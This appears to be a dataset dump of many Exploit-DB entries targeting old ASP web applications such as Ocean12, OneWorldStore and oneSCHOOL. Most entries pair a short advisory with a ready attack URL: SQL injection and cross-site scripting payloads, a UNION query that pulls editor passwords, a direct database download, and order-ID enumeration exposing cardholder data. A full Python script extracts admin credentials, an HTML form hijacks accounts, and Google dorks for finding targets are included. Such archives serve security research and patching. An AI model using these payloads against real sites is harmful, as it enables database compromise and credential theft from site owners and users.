deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32750
Description: OBLOG - 'err.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-01-23
Author: arash.setayeshi

Exploit:
source: https://www.securityfocus.com/bid/33416/info

OBLOG is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/oblog/err.asp?message=xss
Exploit-DB #32602
Description: Ocean12 (Multiple Products) - 'Admin_ID' SQL Injection
Type: webapps
Platform: asp
Date: 2008-11-29
Author: Charalambous Glafkos

Exploit:
source: https://www.securityfocus.com/bid/32527/info

Multiple Ocean12 products are prone to an SQL-injection vulnerability because they fail to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following applications are vulnerable:

Ocean12 FAQ Manager Pro
Ocean12 Poll Manager Pro 

http://www.example.com/login.asp?Admin_ID=[SQL]&Password=pass
Exploit-DB #26473
Description: Ocean12 ASP Calendar Manager 1.0 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2005-11-04
Author: syst3m_f4ult

Exploit:
source: https://www.securityfocus.com/bid/15329/info

Ocean12 ASP Calendar Manager is prone to an authentication bypass vulnerability. This is due to to an access validation error in the application.

The application does properly verify access privileges and allows the attacker to gain access to restricted data.

Version 1.01 is affected; other versions may also be vulnerable.

http://www.example.com/admin/view.asp
Exploit-DB #22484
Description: Ocean12 ASP Guestbook Manager 1.0 - Information Disclosure
Type: webapps
Platform: asp
Date: 2003-04-11
Author: drG4njubas

Exploit:
source: https://www.securityfocus.com/bid/7328/info

Ocean12 Guestbook Manager has been reported prone to sensitive information disclosure vulnerability.

An attacker may make a request for and download the underlying Access database file that is used by the Guestbook Manager. Guestbook administration credentials contained in the database and stored in plaintext format may be revealed to the attacker.

Information collected in this way may be used to aid in further attacks against the system. 

http://www.example.com/guestbook/admin/o12guest.mdb
Exploit-DB #32601
Description: Ocean12 FAQ Manager Pro - 'Keyword' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-11-29
Author: Charalambous Glafkos

Exploit:
source: https://www.securityfocus.com/bid/32526/info

Ocean12 FAQ Manager Pro is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/default.asp?Action=Search&Keyword=<script>alert("xssed")</script>
Exploit-DB #32603
Description: Ocean12 Mailing LisManager Gold 2.04 - 'Email' SQL Injection
Type: webapps
Platform: asp
Date: 2008-11-29
Author: Charalambous Glafkos

Exploit:
source: https://www.securityfocus.com/bid/32528/info

Ocean12 Mailing List Manager Gold is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Ocean12 Mailing List Manager Gold 2.04 is vulnerable; other versions may also be affected.

http://www.example.com/default.asp?Page=2&Email=[SQL]&[CREDENTIAL_REDACTED]=pass&FirstName=name&LastName=lastname&MailType=0
Exploit-DB #27827
Description: Ocean12 Technologies Calendar Manager Pro 1.0 1 - '/admin/edit.asp?ID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-05-08
Author: dj_eyes2005

Exploit:
source: https://www.securityfocus.com/bid/17877/info
  
Calendar Manager Pro is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/patj/admin/edit.asp?ID=[SLQ]
Exploit-DB #27828
Description: Ocean12 Technologies Calendar Manager Pro 1.0 1 - '/admin/main.asp?date' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-05-08
Author: dj_eyes2005

Exploit:
source: https://www.securityfocus.com/bid/17877/info
   
Calendar Manager Pro is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
http://www.example.com/path/admin/main.asp?date=[CSS]
Exploit-DB #27825
Description: Ocean12 Technologies Calendar Manager Pro 1.0 1 - '/admin/main.asp?date' SQL Injection
Type: webapps
Platform: asp
Date: 2006-05-08
Author: dj_eyes2005

Exploit:
source: https://www.securityfocus.com/bid/17877/info

Calendar Manager Pro is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/path/admin/main.asp?date=[SQL]
Exploit-DB #27826
Description: Ocean12 Technologies Calendar Manager Pro 1.0 1 - '/admin/view.asp?searchFor' SQL Injection
Type: webapps
Platform: asp
Date: 2006-05-08
Author: dj_eyes2005

Exploit:
source: https://www.securityfocus.com/bid/17877/info
 
Calendar Manager Pro is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/path/admin/view.asp?SearchFor=[SQL]
Exploit-DB #30626
Description: Ohesa Emlak Portal 1.0 - 'detay.asp?Emlak' SQL Injection
Type: webapps
Platform: asp
Date: 2007-10-01
Author: GeFORC3

Exploit:
source: https://www.securityfocus.com/bid/25880/info
 
Ohesa Emlak Portal is prone to multiple SQL-injection vulnerabilities because it fails to adequately sanitize user-supplied input before using it in an SQL query.
 
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Ohesa Emlak Portal 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/detay.asp?Emlak=[SQL]
Exploit-DB #30625
Description: Ohesa Emlak Portal 1.0 - 'satilik.asp?Kategori' SQL Injection
Type: webapps
Platform: asp
Date: 2007-10-01
Author: GeFORC3

Exploit:
source: https://www.securityfocus.com/bid/25880/info

Ohesa Emlak Portal is prone to multiple SQL-injection vulnerabilities because it fails to adequately sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Ohesa Emlak Portal 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/satilik.asp?Kategori=[SQL]
Exploit-DB #3135
Description: Okul Web Otomasyon Sistemi 4.0.1 - SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-15
Author: ilker Kandemir

Exploit:
-------------------------------------------------------------------------------------------------------------------
AYYILDIZ.ORG PreSents...

 
Script: Okul Web Otomasyon Sistemi
Script Download: http://www.aspindir.com/Goster/3822
Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>
 
DORK: inurl:etkinlikbak.asp
-------------------------------------------------------------------------------------------------------------------
Exploit:  etkinlikbak.asp?id=-1%20union%20select%200,editor,sifre,3,4,5%20from%20editor
-------------------------------------------------------------------------------------------------------------------
Editor Panel: editor_gir.asp
-------------------------------------------------------------------------------------------------------------------
 
Tnx:H0tturk,Dr.Max Virus,,PcDelisi,CodeR,Dumenci
Special Tnx:Asianeagle, AYYILDIZ.ORG

# milw0rm.com [2007-01-15]
Exploit-DB #47960
Description: OLK Web Store 2020 - Cross-Site Request Forgery
Type: webapps
Platform: asp
Date: 2020-01-24
Author: Joel Aviad Ossi

Exploit:
# Exploit Title: OLK Web Store 2020 - Cross-Site Request Forgery
# Google Dork: intext:"TopManage ® 2002 - 2020"
# Date: 2020-01-13
# Exploit Author: Joel Aviad Ossi
# Vendor Homepage: http://www.topmanage.com/
# Software Link: http://www.topmanage.com/microsites/olk-web-store/
# Version: 2020
# Tested on: N/A
# CVE : N/A

# Reference: https://websec.nl/news.php 

POST /olk/client/login.asp HTTP/1.1
Host: examplesite.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Origin: https://examplesite.com
Connection: close
Referer: https://examplesite.com/olk/client/login.asp?se=Y
Cookie: myLng=en; ASPSESSIONIDCGARQSCD=JGFFLBIAAKGBKANKLAPHMEDH
Upgrade-Insecure-Requests: 1

dbID=0&UserName=%22%3EPOC&[CREDENTIAL_REDACTED]=en&btnEnter=Enter&sHeight=400&other=
Exploit-DB #35576
Description: Omer Portal 3.220060425 - 'arama_islem.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2011-04-07
Author: kurdish hackers team

Exploit:
source: https://www.securityfocus.com/bid/47266/info

Omer Portal is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Omer Portal 3.220060425 is vulnerable; other versions may also be affected. 

http://www.example.com/arama_islem.asp?aramadeger=<script>alert(1)</script>
Exploit-DB #32412
Description: Omnicom Content Platform - 'browser.asp' Directory Traversal
Type: webapps
Platform: asp
Date: 2008-09-23
Author: AlbaniaN-[H]

Exploit:
source: https://www.securityfocus.com/bid/31338/info

Omnicom Content Platform is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

To exploit this issue an attacker may need administrative privileges to the affected application.

Exploiting the issue may allow the attacker to obtain sensitive information that could aid in further attacks.

Omnicom Content Platform 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/ocp/admin/fileKontrola/browser.asp?root=/
Exploit-DB #29288
Description: Omniture SiteCatalyst - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-12-16
Author: Hackers Center Security

Exploit:
source: https://www.securityfocus.com/bid/21620/info

Omniture SiteCatalyst is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/search.asp?ss=[XSS]
Exploit-DB #27034
Description: OnePlug CMS - '/press/details.asp?Press_Release_ID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-01-06
Author: Preddy

Exploit:
source: https://www.securityfocus.com/bid/16155/info

OnePlug CMS is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/press/details.asp?Press_Release_ID=[SQL]
Exploit-DB #27036
Description: OnePlug CMS - '/products/details.asp?Product_ID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-01-06
Author: Preddy

Exploit:
source: https://www.securityfocus.com/bid/16155/info
  
OnePlug CMS is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/products/details.asp?Product_ID=[SQL]
Exploit-DB #27035
Description: OnePlug CMS - '/services/details.asp?Service_ID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-01-06
Author: Preddy

Exploit:
source: https://www.securityfocus.com/bid/16155/info
 
OnePlug CMS is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/services/details.asp?Service_ID=[SQL]
Exploit-DB #4824
Description: oneSCHOOL - 'admin/login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-12-31
Author: Guga360

Exploit:
#!/usr/bin/python

#oneSCHOOL admin/login.asp SQL Injection explot (for all versions)
#by Guga360.

import urllib
from sys import argv

query = {'txtOperation':'Login','txtLoginID':"""
' union select min(LoginName),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from UsersSecure where LoginName>'a'--""",'txtPassword':'x','btnSubmit':'L+O+G+I+N+%3E%3E'}

queryx = urllib.urlencode(query)

if len(argv)<>2:
    print """
    **********
    
    Usage:
    oneSCHOOLxpl.py [host]

    [+] Exploiting...
    
    [+] User: admin
    [+] Password: 123
    
    *******************
    """
else:
    try:
        print '\n[+] Exploting...\n'
        host = argv[1]        
        if host[0:7]<>'http://':
            host = 'http://'+host
        url = urllib.urlopen(host+'/admin/login.asp', queryx)
        url = url.read()
        url = url.split()
        name = url.index('varchar')+2
        name = url[name]
        name = name.replace("'","")
        print '[+] User: ' + name
        query2 = query.copy()
        query2['txtLoginID']="""' union select min(Password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from UsersSecure where LoginName='"""+name+"""'--"""
        query2 = urllib.urlencode(query2)
        url = urllib.urlopen(host+'/admin/login.asp', query2)
        url = url.read()
        url = url.split()
        passw = url.index('varchar')+2
        passw = url[passw]
        passw = passw.replace("'","")
        print '[+] Pass: '+passw
    except:
        print '[+] Not vulnerable!'

# milw0rm.com [2007-12-31]
Exploit-DB #25456
Description: OneWorldStore - 'DisplayResults.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-19
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13251/info

OneWorldStore is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/owSearch/DisplayResults.asp?sIDSearch=15"><META%20HTTP-EQUIV=Refresh%20CONTENT=0>
http://www.example.com/owSearch/DisplayResults.asp?sIDSearch=1"><h1>lalala</h1>
Exploit-DB #25455
Description: OneWorldStore - 'DisplayResults.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-19
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13249/info

OneWorldStore is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/owSearch/DisplayResults.asp?sIDSearch=15%20or%201=1
Exploit-DB #25424
Description: OneWorldStore - 'OWAddItem.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-14
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13181/info

OneWorldStore is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/owBasket/owAddItem.asp?idProduct='SQL_INJECTION
Exploit-DB #25427
Description: OneWorldStore - 'OWContactUs.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-14
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13184/info

OneWorldStore is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/owContactUs.asp?sAction=Contact&sName=&sEmail='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&sType=None+Specified&sDescription=dcrab
Exploit-DB #25428
Description: OneWorldStore - 'OWListProduct.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-14
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13185/info

OneWorldStore is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/owListProduct.asp?bSub='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&idCategory=64
Exploit-DB #25425
Description: OneWorldStore - 'OWListProduct.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-04-14
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13182/info

OneWorldStore is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/owListProduct.asp?bSpecials='SQL_INJECTION
http://www.example.com/owListProduct.asp?idCategory='SQL_INJECTION
Exploit-DB #25426
Description: OneWorldStore - 'OWProductDetail.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-14
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13183/info

OneWorldStore is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/owProductDetail.asp?idProduct='SQL_INJECTION
http://www.example.com/owProductDetail.asp?sAction=ProductReview&idProduct='SQL_INJECTION&idCategory=40&sUserName=&sUserEmail=&sRating=1&sBody=dcrab
Exploit-DB #25530
Description: OneWorldStore - IDOrder Information Disclosure
Type: webapps
Platform: asp
Date: 2005-04-25
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13361/info

OneWorldStore is prone to an information disclosure vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Exploitation of this vulnerability would expose the customer names, as they appear on credit cards, and their addresses to the attacker. 

http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=1
http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=2
http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=3
http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=
Exploit-DB #2772
Description: Online Event Registration 2.0 - 'save_profile.asp' Pass Change
Type: webapps
Platform: asp
Date: 2006-11-13
Author: ajann

Exploit:
<!--

# Title  :   Online Event Registration <= v2.0 (save_profile.asp) Remote User Pass Change Exploit
# Author :   ajann

[Code]]]
-->
<html>
<body bgcolor="#000000">
<form method="POST" action="save_profile.asp?key=1&regkey=">
User Name<input type="hidden" name="UserID" size="4">
<input type="text" name="UserName" size="20" class="TBox" value="Demo Account" maxlength="40">
<input type="text" name="Company" size="40" class="TBox" value="Demo Account">
Email<input type="text" name="EmailAddress" size="40" class="TBox" value="demo@codewidgets.net" maxlength="40">
Phone<input type="text" name="Phone" size="20" class="TBox" value="[PII_REDACTED]" maxlength="14">
Fax<input type="text" name="Fax" size="20" class="TBox" value="[PII_REDACTED]">
Password<input name="Password" size="20" class="TBox" value="demo" maxlength="10">
<input type="submit" value="Submit" name="B1" class="PButton">
</form>
</body>
</html>

<!--
[/Code]]]

Change: <input type="hidden" name="UserID" size="4"> => ID

Next Click "Profile"

#ajann,Turkey
#...

#Im Not Hacker!
-->

# milw0rm.com [2006-11-13]